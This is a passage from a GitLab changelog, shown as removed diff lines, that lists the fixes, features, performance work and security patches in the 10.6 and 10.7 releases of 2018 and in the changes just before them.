-- New CI Job live-trace architecture. !18169
-- Make project deploy keys table more clearly structured. !18279
-- Remove green background from unlock button in admin area. !18288
-- Renamed Overview to Project in the contextual navigation at a project level. !18295 (Constance Okoghenun)
-- Load branches on new merge request page asynchronously. !18315
-- Create settings section for autodevops. !18321
-- Add a comma to the time estimate system notes. !18326
-- Enable specifying variables when executing a manual pipeline. !18440
-- Fix size and position for fork icon. !18449 (George Tsiolis)
-- Refactored activity calendar. !18469 (Enrico Scholz)
-- Small improvements to repository checks. !18484
-- Add 2FA filter to users API for admins only. !18503
-- Align project avatar on small viewports. !18513 (George Tsiolis)
-- Show group and project LFS settings in the interface to Owners and Masters. !18562
-- Update environment item action buttons icons. !18632 (George Tsiolis)
-- Update timeline icon for description edit. !18633 (George Tsiolis)
-- Revert discussion counter height. !18656 (George Tsiolis)
-- Improve quick actions summary preview. !18659 (George Tsiolis)
-- Change font for tables inside diff discussions. !18660 (George Tsiolis)
-- Add padding to profile description. !18663 (George Tsiolis)
-- Break issue title for board card title and issuable header text. !18674 (George Tsiolis)
-- Adds push mirrors to GitLab Community Edition. !18715
-- Inform the user when there are no project import options available. !18716 (George Tsiolis)
-- Improve commit message body rendering and fix responsive compare panels. !18725 (Constance Okoghenun)
-- Reconcile project templates with Auto DevOps. !18737
-- Remove branch name from the status bar of WebIDE.
-- Clean up WebIDE status bar and add useful info.
-- Improve interaction on WebIDE commit panel.
-- Keep current labels visible when editing them in the sidebar.
-- Use VueJS for rendering pipeline stages.
-
-### Performance (26 changes, 11 of them are from the community)
-
-- Move WorkInProgress vue component. !17536 (George Tsiolis)
-- Move ReadyToMerge vue component. !17545 (George Tsiolis)
-- Move BoardBlankState vue component. !17666 (George Tsiolis)
-- Improve DB performance of calculating total artifacts size. !17839
-- Add i18n and update specs for UnresolvedDiscussions vue component. !17866 (George Tsiolis)
-- Introduce new ProjectCiCdSetting model with group_runners_enabled. !18144
-- Move PipelineFailed vue component. !18277 (George Tsiolis)
-- Move TimeTrackingEstimateOnlyPane vue component. !18318 (George Tsiolis)
-- Move TimeTrackingHelpState vue component. !18319 (George Tsiolis)
-- Reduce queries on merge requests list page for merge requests from forks. !18561
-- Destroy build_chunks efficiently with FastDestroyAll module. !18575
-- Improve performance of a service responsible for creating a pipeline. !18582
-- Replace time_ago_in_words with JS-based one. !18607 (Takuya Noguchi)
-- Move TimeTrackingNoTrackingPane vue component. !18676 (George Tsiolis)
-- Move SidebarTimeTracking vue component. !18677 (George Tsiolis)
-- Move TimeTrackingSpentOnlyPane vue component. !18710 (George Tsiolis)
-- Detecting tags containing a commit uses Gitaly by default.
-- Increase cluster applications installer availability using alpine linux mirrors.
-- Compute notification recipients in background jobs.
-- Use persisted diff data instead fetching Git on discussions.
-- Detecting branchnames containing a commit uses Gitaly by default.
-- Detect repository license on Gitaly by default.
-- Finish NamespaceService migration to Gitaly.
-- Check if a ref exists is done by Gitaly by default.
-- Compute Gitlab::Git::Repository#checksum on Gitaly by default.
-- Repository#exists? is always executed through Gitaly.
-
-### Added (22 changes, 10 of them are from the community)
-
-- Allow group masters to configure runners for groups. !9646 (Alexis Reigel)
-- Adds Embedded Snippets Support. !15695 (haseebeqx)
-- Add Copy metadata quick action. !16473 (Mateusz Bajorski)
-- Show Runner's description on job's page. !17321
-- Add deprecation message to dynamic milestone pages. !17505
-- Show new branch/mr button even when branch exists. !17712 (Jacopo Beschi @jacopo-beschi)
-- API: add languages of project GET /projects/:id/languages. !17770 (Roger Rüttimann)
-- Display active sessions and allow the user to revoke any of it. !17867 (Alexis Reigel)
-- Add cron job to email users on issue due date. !17985 (Stuart Nelson)
-- Rubocop rule to avoid returning from a block. !18000 (Jacopo Beschi @jacopo-beschi)
-- Add the signature verification badge to the compare view. !18245 (Marc Shaw)
-- Expose Deploy Token data as environment varialbes on CI/CD jobs. !18414
-- Show group id in group settings. !18482 (George Tsiolis)
-- Allow admins to enforce accepting Terms of Service on an instance. !18570
-- Add CI_COMMIT_MESSAGE, CI_COMMIT_TITLE and CI_COMMIT_DESCRIPTION predefined variables. !18672
-- Add GCP signup offer to cluster index / create pages. !18684
-- Output some useful information when running the rails console. !18697
-- Display merge commit SHA in merge widget after merge. !18722
-- git SHA is now displayed alongside the GitLab version on the Admin Dashboard.
-- Expose the target commit ID through the tag API.
-- Added fuzzy file finder to web IDE.
-- Add discussion API for merge requests and commits.
-
-### Other (22 changes, 8 of them are from the community)
-
-- Replace the `project/issues/milestones.feature` spinach test with an rspec analog. !18300 (@blackst0ne)
-- Replace the `project/commits/branches.feature` spinach test with an rspec analog. !18302 (@blackst0ne)
-- Replacing gollum libraries for gitlab custom libs. !18343
-- Replace the `project/commits/comments.feature` spinach test with an rspec analog. !18356 (@blackst0ne)
-- Replace "Click" with "Select" to be more inclusive of people with accessibility requirements. !18386 (Mark Lapierre)
-- Remove ahead/behind graphs on project branches on mobile. !18415 (Takuya Noguchi)
-- Replace the `project/source/markdown_render.feature` spinach test with an rspec analog. !18525 (@blackst0ne)
-- Add missing changelog type to docs. !18526 (@blackst0ne)
-- Added Webhook SSRF prevention to documentation. !18532
-- Upgrade underscore.js to 1.9.0. !18578
-- Add documentation about how to use variables to define deploy policies for staging/production environments. !18675
-- Replace the `project/builds/artifacts.feature` spinach test with an rspec analog. !18729 (@blackst0ne)
-- Block access to the API & git for users that did not accept enforced Terms of Service. !18816
-- Transition to atomic internal ids for all models. !44259
-- Removes modal boards store and mixins from global scope.
-- Replace GKE acronym with Google Kubernetes Engine.
-- Replace vue resource with axios for pipelines details page.
-- Enable prometheus monitoring by default.
-- Replace vue resource with axios in pipelines table.
-- Bump lograge to 0.10.0 and remove monkey patch.
-- Improves wording in new pipeline page.
-- Gitaly handles repository forks by default.
-
-
-## 10.7.7 (2018-07-17)
-
-### Security (1 change)
-
-- Fix symlink vulnerability in project import.
-
-
-## 10.7.6 (2018-06-21)
-
-### Security (6 changes)
-
-- Fix XSS vulnerability for table of content generation.
-- Update sanitize gem to 4.6.5 to fix HTML injection vulnerability.
-- HTML escape branch name in project graphs page.
-- HTML escape the name of the user in ProjectsHelper#link_to_member.
-- Don't show events from internal projects for anonymous users in public feed.
-- XSS fix to use safe_params instead of params in url_for helpers.
-
-### Other (1 change)
-
-- Replacing gollum libraries for gitlab custom libs. !18343
-
-
-## 10.7.5 (2018-05-28)
-
-### Security (3 changes)
-
-- Prevent user passwords from being changed without providing the previous password.
-- Fix API to remove deploy key from project instead of deleting it entirely.
-- Fixed bug that allowed importing arbitrary project attributes.
-
-
-## 10.7.4 (2018-05-21)
-
-### Fixed (1 change)
-
-- Fix error when deleting an empty list of refs.
-
-
-## 10.7.3 (2018-05-02)
-
-### Fixed (8 changes)
-
-- Fixed wrong avatar URL when the avatar is on object storage. !18092
-- Fix errors on pushing to an empty repository. !18462
-- Update doorkeeper to 4.3.2 to fix GitLab OAuth authentication. !18543
-- Ports omniauth-jwt gem onto GitLab OmniAuth Strategies suite. !18580
-- Fix redirection error for applications using OpenID. !18599
-- Fix commit trailer rendering when Gravatar is disabled.
-- Fix file_store for artifacts and lfs when saving.
-- Fix users not seeing labels from private groups when being a member of a child project.
-
-
-## 10.7.2 (2018-04-25)
-
-### Security (2 changes)
-
-- Serve archive requests with the correct file in all cases.
-- Sanitizes user name to avoid XSS attacks.
-
-
-## 10.7.1 (2018-04-23)
-
-### Fixed (11 changes)
-
-- [API] Fix URLs in the `Link` header for `GET /projects/:id/repository/contributors` when no value is passed for `order_by` or `sort`. !18393
-- Fix a case with secret variables being empty sometimes. !18400
-- Fix `Trace::HttpIO` can not render multi-byte chars. !18417
-- Fix specifying a non-default ref when requesting an archive using the legacy URL. !18468
-- Respect visibility options and description when importing project from template. !18473
-- Removes 'No Job log' message from build trace. !18523
-- Align action icons in pipeline graph.
-- Fix direct_upload when records with null file_store are used.
-- Removed alert box in IDE when redirecting to new merge request.
-- Fixed IDE not loading for sub groups.
-- Fixed IDE not showing loading state when tree is loading.
-
-### Performance (4 changes)
-
-- Validate project path prior to hitting the database. !18322
-- Add index to file_store on ci_job_artifacts. !18444
-- Fix N+1 queries when loading participants for a commit note.
-- Support Markdown rendering using multiple projects.
-
-### Added (1 change)
-
-- Add an API endpoint to download git repository snapshots. !18173
-
-
-## 10.7.0 (2018-04-22)
-
-### Security (6 changes, 2 of them are from the community)
-
-- Fixed some SSRF vulnerabilities in services, hooks and integrations. !2337
-- Update ruby-saml to 1.7.2 and omniauth-saml to 1.10.0. !17734 (Takuya Noguchi)
-- Update rack-protection to 2.0.1. !17835 (Takuya Noguchi)
-- Adds confidential notes channel for Slack/Mattermost.
-- Fix XSS on diff view stored on filenames.
-- Fix GitLab Auth0 integration signing in the wrong user.
-
-### Fixed (65 changes, 20 of them are from the community)
-
-- File uploads in remote storage now support project renaming. !4597
-- Fixed bug in dropdown selector when selecting the same selection again. !14631 (bitsapien)
-- Fixed group deletion linked to Mattermost. !16209 (Julien Millau)
-- Create commit API and Web IDE obey LFS filters. !16718
-- Set breadcrumb for admin/runners/show. !17431 (Takuya Noguchi)
-- Enable restore rake task to handle nested storage directories. !17516 (Balasankar C)
-- Fix hover style of dropdown items in the right sidebar. !17519
-- Improve empty state for canceled job. !17646
-- Fix generated URL when listing repoitories for import. !17692
-- Use singular in the diff stats if only one line has been changed. !17697 (Jan Beckmann)
-- Long instance urls do not overflow anymore during project creation. !17717
-- Fix importing multiple assignees from GitLab export. !17718
-- Correct copy text for the promote milestone and label modals. !17726
-- Fix search results stripping last endline when parsing the results. !17777 (Jasper Maes)
-- Add read-only banner to all pages. !17798
-- Fix viewing diffs on old merge requests. !17805
-- Fix forking to subgroup via API when namespace is given by name. !17815 (Jan Beckmann)
-- Fix UI breakdown for Create merge request button. !17821 (Takuya Noguchi)
-- Unify format for nested non-task lists. !17823 (Takuya Noguchi)
-- UX re-design branch items with flexbox. !17832 (Takuya Noguchi)
-- Use porcelain commit lookup method on CI::CreatePipelineService. !17911
-- Update dashboard milestones breadcrumb link. !17933 (George Tsiolis)
-- Deleting a MR you are assigned to should decrements counter. !17951 (m b)
-- Update no repository placeholder. !17964 (George Tsiolis)
-- Drop JSON response in Project Milestone along with avoiding error. !17977 (Takuya Noguchi)
-- Fix personal access token clipboard button style. !17978 (Fabian Schneider)
-- Avoid validation errors when running the Pages domain verification service. !17992
-- Project creation will now raise an error if a service template is invalid. !18013
-- Add better LDAP connection handling. !18039
-- Fix autolinking URLs containing ampersands. !18045
-- Fix exceptions raised when migrating pipeline stages in the background. !18076
-- Always display Labels section in issuable sidebar, even when the project has no labels. !18081 (Branka Martinovic)
-- Fixed gitlab:uploads:migrate task ignoring some uploads. !18082
-- Fixed gitlab:uploads:migrate task failing for Groups' avatar. !18088
-- Increase dropdown width in pipeline graph & center action icon. !18089
-- Fix `JobsController#raw` endpoint can not read traces in database. !18101
-- Fix `gitlab-rake gitlab:two_factor:disable_for_all_users`. !18154
-- Adjust 404's for LegacyDiffNote discussion rendering. !18201
-- Work around Prometheus Helm chart name changes to fix integration. !18206 (joshlambert)
-- Prioritize weight over title when sorting charts. !18233
-- Verify that deploy token has valid access when pulling container registry image. !18260
-- Stop redirecting the page in pipeline main actions.
-- Fixed IDE button opening the wrong URL in tree list.
-- Ensure hooks run when a deploy key without a user pushes.
-- Fix 404 in group boards when moving issue between lists.
-- Display state indicator for issuable references in non-project scope (e.g. when referencing issuables from group scope).
-- Add missing port to artifact links.
-- Fix data race between ObjectStorage background_upload and Pages publishing.
-- Fixes unresolved discussions rendering the error state instead of the diff.
-- Don't show Jump to Discussion button on Issues.
-- Fix bug rendering group icons when forking.
-- Automatically cleanup stale worktrees and lock files upon a push.
-- Use the GitLab version as part of the appearances cache key.
-- Fix Firefox stealing formatting characters on issue notes.
-- Include matching branches and tags in protected branches / tags count. (Jan Beckmann)
-- Fix 500 error when a merge request from a fork has conflicts and has not yet been updated.
-- Test if remote repository exists when importing wikis.
-- Hide emoji popup after multiple spaces. (Jan Beckmann)
-- Fix relative uri when "#" is in branch name. (Jan)
-- Escape Markdown characters properly when using autocomplete.
-- Ignore project internal references in group context.
-- Fix finding wiki file when Gitaly is enabled.
-- Fix listing commit branch/tags that contain special characters.
-- Ensure internal users (ghost, support bot) get assigned a namespace.
-- Fix links to subdirectories of a directory with a plus character in its path.
-
-### Deprecated (1 change)
-
-- Remove support for legacy tar.gz pages artifacts. !18090
-
-### Changed (22 changes, 2 of them are from the community)
-
-- Add yellow favicon when `CANARY=true` to differientate canary environment. !12477
-- Use human readable value build_timeout in Project. !17386
-- Improved visual styles and consistency for commit hash and possible actions across commit lists. !17406
-- Don't create permanent redirect routes. !17521
-- Add empty repo check before running AutoDevOps pipeline. !17605
-- Update wording to specify create/manage project vs group labels in labels dropdown. !17640
-- Add tooltips to icons in lists of issues and merge requests. !17700
-- Change avatar error message to include allowed file formats. !17747 (Fabian Schneider)
-- Polish design for verifying domains. !17767
-- Move email footer info to a single line. !17916
-- Add average and maximum summary statistics to the prometheus dashboard. !17921
-- Add additional cluster usage metrics to usage ping. !17922
-- Move 'Registry' after 'CI/CD' in project navigation sidebar. !18018 (Elias Werberich)
-- Redesign application settings to match project settings. !18019
-- Allow HTTP(s) when git request is made by GitLab CI. !18021
-- Added hover background color to IDE file list rows.
-- Make project avatar in IDE consistent with the rest of GitLab.
-- Show issues of subgroups in group-level issue board.
-- Repository checksum calculation is handled by Gitaly when feature is enabled.
-- Allow viewing timings for AJAX requests in the performance bar.
-- Fixes remove source branch checkbox being visible when user cannot remove the branch.
-- Make /-/ delimiter optional for search endpoints.
-
-### Performance (24 changes, 11 of them are from the community)
-
-- Move AssigneeTitle vue component. !17397 (George Tsiolis)
-- Move TimeTrackingCollapsedState vue component. !17399 (George Tsiolis)
-- Move MemoryGraph and MemoryUsage vue components. !17533 (George Tsiolis)
-- Move UnresolvedDiscussions vue component. !17538 (George Tsiolis)
-- Move NothingToMerge vue component. !17544 (George Tsiolis)
-- Move ShaMismatch vue component. !17546 (George Tsiolis)
-- Stop caching highlighted diffs in Redis unnecessarily. !17746
-- Add i18n and update specs for ShaMismatch vue component. !17870 (George Tsiolis)
-- Update spec import path for vue mount component helper. !17880 (George Tsiolis)
-- Move TimeTrackingComparisonPane vue component. !17931 (George Tsiolis)
-- Improves the performance of projects list page. !17934
-- Remove N+1 query for Noteable association. !17956
-- Improve performance of loading issues with lots of references to merge requests. !17986
-- Reuse root_ref_hash for performance on Branches. !17998 (Takuya Noguchi)
-- Update asciidoctor-plantuml to 0.0.8. !18022 (Takuya Noguchi)
-- Cache personal projects count. !18197
-- Reduce complexity of issuable finder query. !18219
-- Reduce number of queries when viewing a merge request.
-- Free open file descriptors and libgit2 buffers in UpdatePagesService.
-- Memoize Git::Repository#has_visible_content?.
-- Require at least one filter when listing issues or merge requests on dashboard page.
-- lazy load diffs on merge request discussions.
-- Bulk deleting refs is handled by Gitaly by default.
-- ListCommitsByOid is executed by Gitaly by default.
-
-### Added (38 changes, 7 of them are from the community)
-
-- Add HTTPS-only pages. !16273 (rfwatson)
-- adds closed by informations in issue api. !17042 (haseebeqx)
-- Projects and groups badges settings UI. !17114
-- Add per-runner configured job timeout. !17221
-- Add alternate archive route for simplified packaging. !17225
-- Add support for pipeline variables expressions in only/except. !17316
-- Add object storage support for LFS objects, CI artifacts, and uploads. !17358
-- Added confirmation modal for changing username. !17405
-- Implement foreground verification of CI artifacts. !17578
-- Extend API for exporting a project with direct upload URL. !17686
-- Move ci/lint under project's namespace. !17729
-- Add Total CPU/Memory consumption metrics for Kubernetes. !17731
-- Adds the option to the project export API to override the project description and display GitLab export description once imported. !17744
-- Port direct upload of LFS artifacts from EE. !17752
-- Adds support for OmniAuth JWT provider. !17774
-- Display error message on job's tooltip if this one fails. !17782
-- Add 'Assigned Issues' and 'Assigned Merge Requests' as dashboard view choices for users. !17860 (Elias Werberich)
-- Extend API for importing a project export with overwrite support. !17883
-- Create Deploy Tokens to allow permanent access to repository and registry. !17894
-- Detect commit message trailers and link users properly to their accounts on GitLab. !17919 (cousine)
-- Adds cancel btn to new pages domain page. !18026 (Jacopo Beschi @jacopo-beschi)
-- API: Add parameter merge_method to projects. !18031 (Jan Beckmann)
-- Introduce simpler env vars for auto devops REPLICAS and CANARY_REPLICAS #41436. !18036
-- Allow overriding params on project import through API. !18086
-- Support LFS objects when importing/exporting GitLab project archives. !18115
-- Store sha256 checksum of artifact metadata. !18149
-- Limit the number of failed logins when using LDAP for authentication. !43525
-- Allow assigning and filtering issuables by ancestor group labels.
-- Include subgroup issues when searching for group issues using the API.
-- Allow to store uploads by default on Object Storage.
-- Add slash command for moving issues. (Adam Pahlevi)
-- Render MR commit SHA instead "diffs" when viable.
-- Send @mention notifications even if a user has explicitly unsubscribed from item.
-- Add support for Sidekiq JSON logging.
-- Add Gitaly call details to performance bar.
-- Add support for patch link extension for commit links on GitLab Flavored Markdown.
-- Allow feature gates to be removed through the API.
-- Allow merge requests related to a commit to be found via API.
-
-### Other (27 changes, 11 of them are from the community)
-
-- Send notification emails when push to a merge request. !7610 (YarNayar)
-- Rename modal.vue to deprecated_modal.vue. !17438
-- Atomic generation of internal ids for issues. !17580
-- Use object ID to prevent duplicate keys Vue warning on Issue Boards page during development. !17682
-- Update foreman from 0.78.0 to 0.84.0. !17690 (Takuya Noguchi)
-- Add realtime pipeline status for adding/viewing files. !17705
-- Update documentation to reflect current minimum required versions of node and yarn. !17706
-- Update knapsack to 1.16.0. !17735 (Takuya Noguchi)
-- Update CI services documnetation. !17749
-- Added i18n support for the prometheus memory widget. !17753
-- Use specific names for filtered CI variable controller parameters. !17796
-- Apply NestingDepth (level 5) (framework/dropdowns.scss). !17820 (Takuya Noguchi)
-- Clean up selectors in framework/header.scss. !17822 (Takuya Noguchi)
-- Bump `state_machines-activerecord` to 0.5.1. !17924 (blackst0ne)
-- Increase the memory limits used in the unicorn killer. !17948
-- Replace the spinach test with an rspec analog. !17950 (blackst0ne)
-- Remove unused index from events table. !18014
-- Make all workhorse gitaly calls opt-out, take 2. !18043
-- Update brakeman 3.6.1 to 4.2.1. !18122 (Takuya Noguchi)
-- Replace the `project/issues/labels.feature` spinach test with an rspec analog. !18126 (blackst0ne)
-- Bump html-pipeline to 2.7.1. !18132 (@blackst0ne)
-- Remove test_ci rake task. !18139 (Takuya Noguchi)
-- Add documentation for Pipelines failure reasons. !18352
-- Improve JIRA event descriptions.
-- Add query counts to profiler output.
-- Move Sidekiq exporter logs to log/sidekiq_exporter.log.
-- Upgrade Gitaly to upgrade its charlock_holmes.
-
-
-## 10.6.6 (2018-05-28)
-
-### Security (4 changes)
-
-- Do not allow non-members to create MRs via forked projects when MRs are private.
-- Prevent user passwords from being changed without providing the previous password.
-- Fix API to remove deploy key from project instead of deleting it entirely.
-- Fixed bug that allowed importing arbitrary project attributes.
-
-
-## 10.6.5 (2018-04-24)
-
-### Security (1 change)
-
-- Sanitizes user name to avoid XSS attacks.
-
-
-## 10.6.4 (2018-04-09)
-
-### Fixed (8 changes, 1 of them is from the community)
-
-- Correct copy text for the promote milestone and label modals. !17726
-- Avoid validation errors when running the Pages domain verification service. !17992
-- Fix autolinking URLs containing ampersands. !18045
-- Fix exceptions raised when migrating pipeline stages in the background. !18076
-- Work around Prometheus Helm chart name changes to fix integration. !18206 (joshlambert)
-- Don't show Jump to Discussion button on Issues.
-- Fix listing commit branch/tags that contain special characters.
-- Fix 404 in group boards when moving issue between lists.
-
-### Performance (1 change)
-
-- Free open file descriptors and libgit2 buffers in UpdatePagesService.
-
-
-## 10.6.3 (2018-04-03)
-
-### Security (2 changes)
-
-- Fix XSS on diff view stored on filenames.
-- Adds confidential notes channel for Slack/Mattermost.
-
-
-## 10.6.2 (2018-03-29)
-
-### Fixed (2 changes, 1 of them is from the community)
-
-- Don't capture trailing punctuation when autolinking. !17965
-- Cloning a repository over HTTPS with LDAP credentials causes a HTTP 401 Access denied. (Horatiu Eugen Vlad)
-
-
-## 10.6.1 (2018-03-27)
-
-### Security (1 change)
-
-- Bump rails-html-sanitizer to 1.0.4.
-
-### Fixed (2 changes)
-
-- Prevent auto-retry AccessDenied error from stopping transition to failed. !17862
-- Fix 500 error when trying to resolve non-ASCII conflicts in the editor. !17962
-
-### Performance (1 change)
-
-- Add indexes for user activity queries. !17890
-
-### Other (1 change)
-
-- Add documentation for runner IP address (#44232). !17837
-
-
-## 10.6.0 (2018-03-22)
-
-### Security (4 changes)
-
-- Fixed some SSRF vulnerabilities in services, hooks and integrations. !2337
-- Ensure that OTP backup codes are always invalidated.
-- Add verification for GitLab Pages custom domains.
-- Fix GitLab Auth0 integration signing in the wrong user.
-
-### Fixed (75 changes, 17 of them are from the community)
-
-- Ensure users cannot create environments with leading or trailing slashes (Fixes #39885). !15273
-- Fix new project path input overlapping. !16755 (George Tsiolis)
-- Respect description and visibility when creating project from template. !16820 (George Tsiolis)
-- Remove user notification settings for groups and projects when user leaves. !16906 (Jacopo Beschi @jacopo-beschi)
-- Fix Teleporting Emoji. !16963 (Jared Deckard <jared.deckard@gmail.com>)
-- Fix duplicate system notes when merging a merge request. !17035
-- Fix breadcrumb on labels page for groups. !17045 (Onuwa Nnachi Isaac)
-- Fix user avatar's vertical align on the issues and merge requests pages. !17072 (Laszlo Karpati)
-- Fix settings panels not expanding when fragment hash linked. !17074
-- Fix 404 when listing archived projects in a group where all projects have been archived. !17077 (Ashley Dumaine)
-- Allow to call PUT /projects/:id API with only ci_config_path specified. !17105 (Laszlo Karpati)
-- Fix long list of recipients on group request membership email. !17121 (Jacopo Beschi @jacopo-beschi)
-- Remove duplicated error message on duplicate variable validation. !17135
-- Keep "Import project" tab/form active when validation fails trying to import "Repo by URL". !17136
-- Fixed bug with unauthenticated requests through git ssh. !17149
-- Allows project rename after validation error. !17150
-- Fix "Remove source branch" button in Merge request widget during merge when pipeline succeeds state. !17192
-- Add missing pagination on the commit diff endpoint. !17203 (Maxime Roussin-Bélanger)
-- Fix get a single pages domain when project path contains a period. !17206 (Travis Miller)
-- remove avater underline. !17219 (Ken Ding)
-- Allows the usage of /milestone quick action for group milestones. !17239 (Jacopo Beschi @jacopo-beschi)
-- Encode branch name as binary before creating a RPC request to copy attributes. !17291
-- Restart Unicorn and Sidekiq when GRPC throws 14:Endpoint read failed. !17293
-- Do not persist Google Project verification flash errors after a page reload. !17299
-- Ensure group issues and merge requests pages show results from subgroups when there are no results from the current group. !17312
-- Prevent trace artifact migration to incur data loss. !17313
-- Fixes gpg popover layout. !17323
-- Return a 404 instead of 403 if the repository does not exist on disk. !17341
-- Fix Slack/Mattermost notifications not respecting `notify_only_default_branch` setting for pushes. !17345
-- Fix Group labels load failure when there are duplicate labels present. !17353
-- Allow Prometheus application to be installed from Cluster applications. !17372
-- Fixes Prometheus admin configuration page. !17377
-- Enable filtering MR list based on clicked label in MR sidebar. !17390
-- Fix code and wiki search results pages when non-ASCII text is displayed. !17413
-- Count comments on diffs and discussions as contributions for the contributions calendar. !17418 (Riccardo Padovani)
-- Add Assignees vue component missing data container. !17426 (George Tsiolis)
-- Update tooltip on pipeline cancel to Stop (#42946). !17444
-- Removing the two factor check when the user sets a new password. !17457
-- Fix quick actions for users who cannot update issues and merge requests. !17482
-- Stop loading spinner on error of milestone update on issue. !17507 (Takuya Noguchi)
-- Set margins around dropdown dividers to 4px. !17517
-- Fix pages flaky failure by reloading stale object. !17522
-- Remove extra breadcrumb on tags. !17562 (Takuya Noguchi)
-- Fix missing uploads after group transfer. !17658
-- Fix markdown table showing extra column. !17669
-- Ensure the API returns https links when https is configured. !17681
-- Sanitize extra blank spaces used when uploading a SSH key. !40552
-- Render htmlentities correctly for links not supported by Rinku.
-- Keep link when redacting unauthorized object links.
-- Handle empty state in Pipelines page.
-- Revert Project.public_or_visible_to_user changes and only apply to snippets.
-- Release libgit2 cache and open file descriptors after `git gc` run.
-- Fix project dashboard showing the wrong timestamps.
-- Fix "Can't modify frozen hash" error when project is destroyed.
-- Fix Error 500 when viewing a commit with a GPG signature in Geo.
-- Don't error out in system hook if user has `nil` datetime columns.
-- Remove double caching of Repository#empty?.
-- Don't delete todos or unassign issues and MRs when a user leaves a project.
-- Don't cache a nil repository root ref to prevent caching issues.
-- Escape HTML entities in commit messages.
-- Verify project import status again before marking as failed.
-- [GitHub Import] Create an empty wiki if wiki import failed.
-- Create empty wiki when import from GitLab and wiki is not there.
-- Make sure wiki exists when it's enabled.
-- Fix broken loading state for close issue button.
-- Fix code and wiki search results when filename is non-ASCII.
-- Fix file upload on project show page.
-- Fix squashing when a file is renamed.
-- Show loading button inline in refresh button in MR widget.
-- Fix close button on issues not working on mobile.
-- Adds tooltip in environment names to increase readability.
-- Fixed issue edit shortcut not opening edit form.
-- Fix 500 error being shown when diff has context marker with invalid encoding.
-- Render modified icon for moved file in changes dropdown.
-- Remember assignee when moving an issue.
-
-### Changed (16 changes, 9 of them are from the community)
-
-- Allow including custom attributes in API responses. !16526 (Markus Koller)
-- Apply new default and inline label design. !16956 (George Tsiolis)
-- Remove whitespace from the username/email sign in form field. !17020 (Peter lauck)
-- CI charts now include the current day. !17032 (Dakkaron)
-- Hide CI secret variable values after saving. !17044
-- Add new modal Vue component. !17108
-- Asciidoc now support inter-document cross references between files in repository. !17125 (Turo Soisenniemi)
-- Update issue closing pattern to allow variations in punctuation. !17198 (Vicky Chijwani)
-- Add a button to deploy a runner to a Kubernetes cluster in the settings page. !17278
-- Pages custom domain: allow update of key/certificate. !17376 (rfwatson)
-- Clear the Labels dropdown search filter after a selection is made. !17393 (Andrew Torres)
-- Hook data for pipelines includes detailed_status. !17607
-- Avoid showing unnecessary Trigger checkboxes for project Integrations with only one event. !17607
-- Display a link to external issue tracker when enabled.
-- Allow token authentication on go-get request.
-- Update SSH key link to include existing keys. (Brendan O'Leary)
-
-### Performance (24 changes, 5 of them are from the community)
-
-- Add catch-up background migration to migrate pipeline stages. !15741
-- Move BoardNewIssue vue component. !16947 (George Tsiolis)
-- Move IssuableTimeTracker vue component. !16948 (George Tsiolis)
-- Move RecentSearchesDropdownContent vue component. !16951 (George Tsiolis)
-- Move Assignees vue component. !16952 (George Tsiolis)
-- Improve performance of pipeline page by reducing DB queries. !17168
-- Store sha256 checksum to job artifacts. !17354
-- Move SidebarAssignees vue component. !17398 (George Tsiolis)
-- Improve database response time for user activity listing. !17454
-- Use persisted/memoized value for MRs shas instead of doing git lookups. !17555
-- Cache MergeRequests can_be_resolved_in_ui? git operations. !17589
-- Prevent the graphs page from generating unnecessary Gitaly requests. !37602
-- Use a user object in ApplicationHelper#avatar_icon where possible to avoid N+1 queries. !42800
-- Submit a single batch blob RPC to Gitaly per HTTP request when viewing diffs.
-- Avoid re-fetching merge-base SHA from Gitaly unnecessarily.
-- Don't use ProjectsFinder in TodosFinder.
-- Adding missing indexes on taggings table.
-- Add index on section_name_id on ci_build_trace_sections table.
-- Cache column_exists? for application settings.
-- Cache table_exists?('application_settings') to reduce repeated schema reloads.
-- Make --prune a configurable parameter in fetching a git remote.
-- Fix timeouts loading /admin/projects page.
-- Add partial indexes on todos to handle users with many todos.
-- Optimize search queries on the search page by setting a limit for matching records in project scope.
-
-### Added (30 changes, 9 of them are from the community)
-
-- Add CommonMark markdown engine (experimental). !14835 (blackst0ne)
-- API: Get references a commit is pushed to. !15026 (Robert Schilling)
-- Add overview of branches and a filter for active/stale branches. !15402 (Takuya Noguchi)
-- Add project export API. !15860 (Travis Miller)
-- expose more metrics in merge requests api. !16589 (haseebeqx)
-- #28481: Display time tracking totals on milestone page. !16753 (Riccardo Padovani)
-- Add a button on the project page to set up a Kubernetes cluster and enable Auto DevOps. !16900
-- Include cycle time in usage ping data. !16973
-- Add ability to use external plugins as an alternative to system hooks. !17003
-- Add search param to Branches API. !17005 (bunufi)
-- API endpoint for importing a project export. !17025
-- Display ingress IP address in the Kubernetes page. !17052
-- Implemented badge API endpoints. !17082
-- Allow installation of GitLab Runner with a single click. !17134
-- Allow commits endpoint to work over all commits of a repository. !17182
-- Display Runner IP Address. !17286
-- Add archive feature to trace. !17314
-- Allow maintainers to push to forks of their projects when a merge request is open. !17395
-- Foreground verification of uploads and LFS objects. !17402
-- Adds updated_at filter to issues and merge_requests API. !17417 (Jacopo Beschi @jacopo-beschi)
-- Port /wip quick action command to Merge Request creation (on description). !17463 (Adam Pahlevi)
-- Add a paragraph about security implications on Cluster's page. !17486
-- Add plugins list to the system hooks page. !17518
-- Enable privileged mode for GitLab Runner. !17528
-- Expose GITLAB_FEATURES as CI/CD variable (fixes #40994).
-- Upgrade GitLab Workhorse to 4.0.0.
-- Add discussions API for Issues and Snippets.
-- Add one group board to Libre.
-- Add support for filtering by source and target branch to merge requests API.
-
-### Other (18 changes, 7 of them are from the community)
-
-- Group MRs on issue page by project and namespace. !8494 (Jeff Stubler)
-- Make oauth provider login generic. !8809 (Horatiu Eugen Vlad)
-- Add email button to new issue by email. !10942 (Islam Wazery)
-- Update vue component naming guidelines. !17018 (George Tsiolis)
-- Added new design for promotion modals. !17197
-- Update to github-linguist 5.3.x. !17241 (Ken Ding)
-- update toml-rb to 1.0.0. !17259 (Ken Ding)
-- Keep track of projects a user interacted with. !17327
-- Moved o_auth/saml/ldap modules under gitlab/auth. !17359 (Horatiu Eugen Vlad)
-- Enables eslint in codeclimate job. !17392
-- Port Labels Select dropdown to Vue. !17411
-- Add NOT NULL constraint to projects.namespace_id. !17448
-- Ensure foreign keys on clusters applications. !17488
-- Started translation into Turkish, Indonesian and Filipino. !17526
-- Add documentation for displayed K8s Ingress IP address (#44330). !17836
-- Move Ruby endpoints to OPT_OUT.
-- Upgrade Workhorse to version 3.8.0 to support structured logging.
-- Use host URL to build JIRA remote link icon.
-
-
-## 10.5.8 (2018-04-24)
-
